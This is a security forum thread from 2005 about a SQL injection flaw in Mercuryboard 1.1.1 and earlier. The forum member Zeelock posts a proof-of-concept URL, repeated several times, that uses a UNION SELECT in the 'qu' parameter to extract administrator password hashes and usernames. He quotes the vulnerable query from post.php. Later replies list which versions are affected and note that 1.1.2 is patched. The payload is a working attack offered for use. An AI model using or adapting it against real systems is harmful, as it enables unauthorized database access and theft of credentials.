Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: January 16, 2026 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 67 Members: 0 Total: 67 Full disclosure [REVIVE-SA-2026-001] Revive Adserver Vulnerabilities Defense in depth -- the Microsoft way (part 95): the (shared)"Start Menu" is dispensable Re: Multiple Security Misconfigurations and CustomerEnumeration Exposure in Convercent Whistleblowing Platform(EQS Group) RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction TinyOS 2.1.2 Stack-Based Buffer Overflow in mcp2200gpio TinyOS 2.1.2 printfUART Global Buffer Overflow via UnboundedFormat Expansion KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group) Panda3d v1.10.16 Uncontrolled Format String in Panda3D egg-mkfont Allows Stack Memory Disclosure Panda3d v1.10.16 egg-mkfont Stack Buffer Overflow Panda3d v1.10.16 deploy-stub Unbounded Stack Allocation Leading to Uninitialized Memory MongoDB v8.3.0 Integer Underflow in LMDB mdb_load Bioformats v8.3.0 Untrusted Deserialization of Bio-Formats Memoizer Cache Files Bioformats v8.3.0 Improper Restriction of XML External Entity Reference in Bio-Formats Leica Microsystems XML Parser IT Security and Insecurity Portal www.waraxe.us Forum Index -> Sql injection -> Critical Sql injection in Mercuryboard <= 1.1.1 View previous topic :: View next topic Critical Sql injection in Mercuryboard <= 1.1.1 Posted: Tue Feb 08, 2005 10:22 am Zeelock Active user Joined: Jan 27, 2005 Posts: 29 Location: Where stars come out at night I saw that the released exploits didn't work. This proof of concept do the job: http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/* The problem of previous exploit on the 't' variable was that the single value was used in multiple queries. The one i found is on this piece of code in post.php: --------[ Mercury 1.1.1 original code ]-------------- if (($s == 'reply') && isset($this->get['qu'])) { $query = $this->db->fetch("SELECT p.post_text, m.user_name FROM { $this->pre}posts p, {$this->pre}users m WHERE p.post_id={ $this->get['qu']} AND p.post_author=m.user_id"); --------[/Mercury 1.1.1 original code ]-------------- the nice thing is that injecting the q value permits to see data directly on the form metween quotes. Notes: Version 1.1.2 is already patched against this. Zeelock _________________ If it seems to be impossible, just step up your level! Re: Critical Sql injection in Mercuryboard <= 1.1.1 Posted: Wed Feb 09, 2005 8:08 am LINUX Moderator Joined: May 24, 2004 Posts: 404 Location: Caiman Zeelock wrote: I saw that the released exploits didn't work. This proof of concept do the job: http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/* The problem of previous exploit on the 't' variable was that the single value was used in multiple queries. The one i found is on this piece of code in post.php: --------[ Mercury 1.1.1 original code ]-------------- if (($s == 'reply') && isset($this->get['qu'])) { $query = $this->db->fetch("SELECT p.post_text, m.user_name FROM { $this->pre}posts p, {$this->pre}users m WHERE p.post_id={ $this->get['qu']} AND p.post_author=m.user_id"); --------[/Mercury 1.1.1 original code ]-------------- the nice thing is that injecting the q value permits to see data directly on the form metween quotes. Notes: Version 1.1.2 is already patched against this. Zeelock yes men, i test all versions not work in all, this exploit is fake or not complete exploit wtf!!! Posted: Wed Feb 09, 2005 8:32 am Zeelock Active user Joined: Jan 27, 2005 Posts: 29 Location: Where stars come out at night Argentino...!!! That's my improvement... it works, just try it With this one you see the full hash and username of the admin. http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/* The trick is in the "qu" variable. You'll see everything in the form _________________ If it seems to be impossible, just step up your level! Posted: Fri Feb 11, 2005 5:27 am LINUX Moderator Joined: May 24, 2004 Posts: 404 Location: Caiman yes men very good work zeelock Re: Critical Sql injection in Mercuryboard <= 1.1.1 Posted: Tue Feb 15, 2005 5:52 am Lostmon Regular user Joined: Jul 24, 2004 Posts: 6 Location: spain hello !! i?m currenly documenting this vuln and make probes in mercuryboard 1.0.x and 1.1.x any of this xploits working but is shure what can inject sql commands... have any more proof of concept ?? Thnx _________________ -- La curiosidad es lo que hace mover la mente Critical Sql injection in Mercuryboard <= 1.1.1 Posted: Tue Feb 15, 2005 12:50 pm Lostmon Regular user Joined: Jul 24, 2004 Posts: 6 Location: spain Oks After making some several probes whith some versions this is the result Mercuryboard 1.1.2 Not Affected Mercuryboard 1.1.0 Affected Mercuryboard 1.0.1 Affected Mercuryboard 1.0.2 Affected thnx !!!!! _________________ -- La curiosidad es lo que hace mover la mente For more info: Posted: Wed Feb 16, 2005 8:34 am Zeelock Active user Joined: Jan 27, 2005 Posts: 29 Location: Where stars come out at night http://www.securityfocus.com/bid/12503 http://www.securityfocus.com/archive/1/389881 _________________ If it seems to be impossible, just step up your level! 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